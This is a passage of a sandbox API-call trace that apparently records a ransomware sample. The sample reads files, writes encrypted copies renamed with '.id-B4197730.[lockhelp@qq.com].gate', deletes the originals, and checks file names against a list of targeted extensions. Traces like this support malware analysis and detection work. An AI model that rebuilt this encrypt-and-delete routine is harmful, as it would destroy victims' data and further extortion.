lpBuffer=0x3cf7020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesWritten=0x312fc94*=0xf8, lpOverlapped=0x0) returned 1 [0111.369] SetEndOfFile (hFile=0x2e0) returned 1 [0111.369] CloseHandle (hObject=0x2e0) returned 1 [0111.370] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.371] SetEndOfFile (hFile=0x314) returned 1 [0111.372] CloseHandle (hObject=0x314) returned 1 [0111.372] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0111.418] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 1 [0111.418] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0111.418] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0111.418] lstrlenW (lpString=".doc") returned 4 [0111.418] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0111.418] lstrlenW (lpString=".docx") returned 5 [0111.418] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0111.418] lstrlenW (lpString=".pdf") returned 4 [0111.419] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0111.419] lstrlenW (lpString=".xls") returned 4 [0111.419] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0111.419] lstrlenW (lpString=".xlsx") returned 5 [0111.419] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0111.419] lstrlenW (lpString=".ppt") returned 4 [0111.419] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0111.419] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0111.419] lstrlenW (lpString=".zip") returned 4 [0111.419] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0111.419] lstrlenW (lpString=".rar") returned 4 [0111.419] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0111.419] lstrlenW (lpString=".bz2") returned 4 [0111.419] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0111.419] lstrlenW (lpString=".7z") returned 3 [0111.419] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0111.419] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0111.419] lstrlenW (lpString=".dbf") returned 4 [0111.419] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0111.419] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0111.419] lstrlenW (lpString=".1cd") returned 4 [0111.419] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0111.419] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0111.419] lstrlenW (lpString=".jpg") returned 4 [0111.419] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0111.419] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0111.419] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0111.419] lstrlenW (lpString=".doc") returned 4 [0111.419] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0111.419] lstrlenW (lpString=".docx") returned 5 [0111.419] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0111.419] lstrlenW (lpString=".pdf") returned 4 [0111.419] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0111.419] lstrlenW (lpString=".xls") returned 4 [0111.419] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0111.420] lstrlenW (lpString=".xlsx") returned 5 [0111.420] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0111.420] lstrlenW (lpString=".ppt") returned 4 [0111.420] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0111.420] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0111.420] lstrlenW (lpString=".zip") returned 4 [0111.420] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0111.420] lstrlenW (lpString=".rar") returned 4 [0111.420] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0111.420] lstrlenW (lpString=".bz2") returned 4 [0111.420] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0111.420] lstrlenW (lpString=".7z") returned 3 [0111.420] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0111.420] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0111.420] lstrlenW (lpString=".dbf") returned 4 [0111.420] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0111.420] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0111.420] lstrlenW (lpString=".1cd") returned 4 [0111.420] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0111.420] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0111.420] lstrlenW (lpString=".jpg") returned 4 [0111.420] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0111.420] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0111.420] lstrlenW (lpString="SetupResources.dll") returned 18 [0111.420] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0111.561] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=14168) returned 1 [0111.561] CloseHandle (hObject=0x314) returned 1 [0111.561] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 0x80 [0111.561] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0111.561] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0111.562] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.562] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.562] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0111.672] GetLastError () returned 0x0 [0111.672] ReadFile (in: hFile=0x314, lpBuffer=0x3cf7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesRead=0x312fecc*=0x3758, lpOverlapped=0x0) returned 1 [0111.803] WriteFile (in: hFile=0x32c, lpBuffer=0x3cf7020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesWritten=0x312fc94*=0x3760, lpOverlapped=0x0) returned 1 [0111.804] ReadFile (in: hFile=0x314, lpBuffer=0x3cf7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0111.804] WriteFile (in: hFile=0x32c, lpBuffer=0x3cf7020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesWritten=0x312fc94*=0xf8, lpOverlapped=0x0) returned 1 [0111.804] SetEndOfFile (hFile=0x32c) returned 1 [0111.805] CloseHandle (hObject=0x32c) returned 1 [0111.805] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.805] SetEndOfFile (hFile=0x314) returned 1 [0111.806] CloseHandle (hObject=0x314) returned 1 [0111.806] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0111.807] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 1 [0111.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0111.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0111.807] lstrlenW (lpString=".doc") returned 4 [0111.807] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0111.807] lstrlenW (lpString=".docx") returned 5 [0111.807] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0111.807] lstrlenW (lpString=".pdf") returned 4 [0111.807] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0111.807] lstrlenW (lpString=".xls") returned 4 [0111.807] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0111.807] lstrlenW (lpString=".xlsx") returned 5 [0111.807] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0111.807] lstrlenW (lpString=".ppt") returned 4 [0111.807] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0111.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0111.807] lstrlenW (lpString=".zip") returned 4 [0111.807] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0111.807] lstrlenW (lpString=".rar") returned 4 [0111.808] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0111.808] lstrlenW (lpString=".bz2") returned 4 [0111.808] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0111.808] lstrlenW (lpString=".7z") returned 3 [0111.808] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0111.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0111.808] lstrlenW (lpString=".dbf") returned 4 [0111.808] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0111.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0111.808] lstrlenW (lpString=".1cd") returned 4 [0111.808] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0111.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0111.808] lstrlenW (lpString=".jpg") returned 4 [0111.808] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0111.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0111.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0111.808] lstrlenW (lpString=".doc") returned 4 [0111.808] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0111.808] lstrlenW (lpString=".docx") returned 5 [0111.808] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0111.808] lstrlenW (lpString=".pdf") returned 4 [0111.808] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0111.808] lstrlenW (lpString=".xls") returned 4 [0111.808] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0111.808] lstrlenW (lpString=".xlsx") returned 5 [0111.808] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0111.808] lstrlenW (lpString=".ppt") returned 4 [0111.808] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0111.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0111.808] lstrlenW (lpString=".zip") returned 4 [0111.808] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0111.809] lstrlenW (lpString=".rar") returned 4 [0111.809] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0111.809] lstrlenW (lpString=".bz2") returned 4 [0111.809] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0111.809] lstrlenW (lpString=".7z") returned 3 [0111.809] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0111.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0111.809] lstrlenW (lpString=".dbf") returned 4 [0111.809] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0111.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0111.809] lstrlenW (lpString=".1cd") returned 4 [0111.809] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0111.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0111.809] lstrlenW (lpString=".jpg") returned 4 [0111.809] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0111.809] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0111.809] lstrlenW (lpString="SetupResources.dll") returned 18 [0111.809] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0111.809] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=18776) returned 1 [0111.809] CloseHandle (hObject=0x314) returned 1 [0111.809] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 0x80 [0111.810] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0111.810] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0111.810] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.810] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.810] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0111.863] GetLastError () returned 0x0 [0111.863] ReadFile (in: hFile=0x314, lpBuffer=0x3cf7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesRead=0x312fecc*=0x4958, lpOverlapped=0x0) returned 1 [0111.878] WriteFile (in: hFile=0x318, lpBuffer=0x3cf7020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesWritten=0x312fc94*=0x4960, lpOverlapped=0x0) returned 1 [0111.879] ReadFile (in: hFile=0x314, lpBuffer=0x3cf7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0111.879] WriteFile (in: hFile=0x318, lpBuffer=0x3cf7020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesWritten=0x312fc94*=0xf8, lpOverlapped=0x0) returned 1 [0111.879] SetEndOfFile (hFile=0x318) returned 1 [0111.879] CloseHandle (hObject=0x318) returned 1 [0111.880] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.880] SetEndOfFile (hFile=0x314) returned 1 [0111.881] CloseHandle (hObject=0x314) returned 1 [0111.881] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0111.881] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 1 [0111.882] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0111.882] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0111.882] lstrlenW (lpString=".doc") returned 4 [0111.882] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0111.882] lstrlenW (lpString=".docx") returned 5 [0111.882] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0111.882] lstrlenW (lpString=".pdf") returned 4 [0111.882] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0111.882] lstrlenW (lpString=".xls") returned 4 [0111.882] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0111.882] lstrlenW (lpString=".xlsx") returned 5 [0111.882] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0111.882] lstrlenW (lpString=".ppt") returned 4 [0111.882] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0111.882] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0111.882] lstrlenW (lpString=".zip") returned 4 [0111.882] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0111.882] lstrlenW (lpString=".rar") returned 4 [0111.882] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0111.882] lstrlenW (lpString=".bz2") returned 4 [0111.882] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0111.882] lstrlenW (lpString=".7z") returned 3 [0111.882] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0111.882] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0111.882] lstrlenW (lpString=".dbf") returned 4 [0111.882] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0111.883] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0111.883] lstrlenW (lpString=".1cd") returned 4 [0111.883] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0111.883] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0111.883] lstrlenW (lpString=".jpg") returned 4 [0111.883] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0111.883] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0111.883] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0111.883] lstrlenW (lpString=".doc") returned 4 [0111.883] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0111.883] lstrlenW (lpString=".docx") returned 5 [0111.883] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0111.883] lstrlenW (lpString=".pdf") returned 4 [0111.883] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0111.883] lstrlenW (lpString=".xls") returned 4 [0111.883] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0111.883] lstrlenW (lpString=".xlsx") returned 5 [0111.883] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0111.883] lstrlenW (lpString=".ppt") returned 4 [0111.883] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0111.883] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0111.883] lstrlenW (lpString=".zip") returned 4 [0111.883] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0111.883] lstrlenW (lpString=".rar") returned 4 [0111.883] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0111.883] lstrlenW (lpString=".bz2") returned 4 [0111.883] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0111.883] lstrlenW (lpString=".7z") returned 3 [0111.883] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0111.883] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0111.884] lstrlenW (lpString=".dbf") returned 4 [0111.884] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0111.884] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0111.884] lstrlenW (lpString=".1cd") returned 4 [0111.884] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0111.884] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0111.884] lstrlenW (lpString=".jpg") returned 4 [0111.884] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0111.884] lstrcmpiW (lpString1=".ico", lpString2=".gate") returned 1 [0111.884] lstrlenW (lpString="Rotate1.ico") returned 11 [0111.884] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0111.884] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=894) returned 1 [0111.884] CloseHandle (hObject=0x314) returned 1 [0111.884] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 0x80 [0111.884] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0111.884] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0111.885] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.885] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.885] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0111.885] GetLastError () returned 0x0 [0111.885] ReadFile (in: hFile=0x314, lpBuffer=0x3cf7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesRead=0x312fecc*=0x37e, lpOverlapped=0x0) returned 1 [0112.050] WriteFile (in: hFile=0x318, lpBuffer=0x3cf7020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesWritten=0x312fc94*=0x380, lpOverlapped=0x0) returned 1 [0112.051] ReadFile (in: hFile=0x314, lpBuffer=0x3cf7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0112.051] WriteFile (in: hFile=0x318, lpBuffer=0x3cf7020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesWritten=0x312fc94*=0xea, lpOverlapped=0x0) returned 1 [0112.051] SetEndOfFile (hFile=0x318) returned 1 [0112.070] CloseHandle (hObject=0x318) returned 1 [0112.072] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.072] SetEndOfFile (hFile=0x314) returned 1 [0112.075] CloseHandle (hObject=0x314) returned 1 [0112.076] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0112.076] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 1 [0112.077] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0112.077] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0112.077] lstrlenW (lpString=".doc") returned 4 [0112.077] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0112.077] lstrlenW (lpString=".docx") returned 5 [0112.077] lstrcmpiW (lpString1=".docx", lpString2="1.ico") returned -1 [0112.077] lstrlenW (lpString=".pdf") returned 4 [0112.077] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0112.077] lstrlenW (lpString=".xls") returned 4 [0112.077] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0112.077] lstrlenW (lpString=".xlsx") returned 5 [0112.077] lstrcmpiW (lpString1=".xlsx", lpString2="1.ico") returned -1 [0112.077] lstrlenW (lpString=".ppt") returned 4 [0112.077] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0112.077] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0112.077] lstrlenW (lpString=".zip") returned 4 [0112.077] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0112.077] lstrlenW (lpString=".rar") returned 4 [0112.077] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0112.077] lstrlenW (lpString=".bz2") returned 4 [0112.077] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0112.077] lstrlenW (lpString=".7z") returned 3 [0112.077] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0112.077] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0112.078] lstrlenW (lpString=".dbf") returned 4 [0112.078] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0112.078] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0112.078] lstrlenW (lpString=".1cd") returned 4 [0112.078] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0112.078] lstrlenW 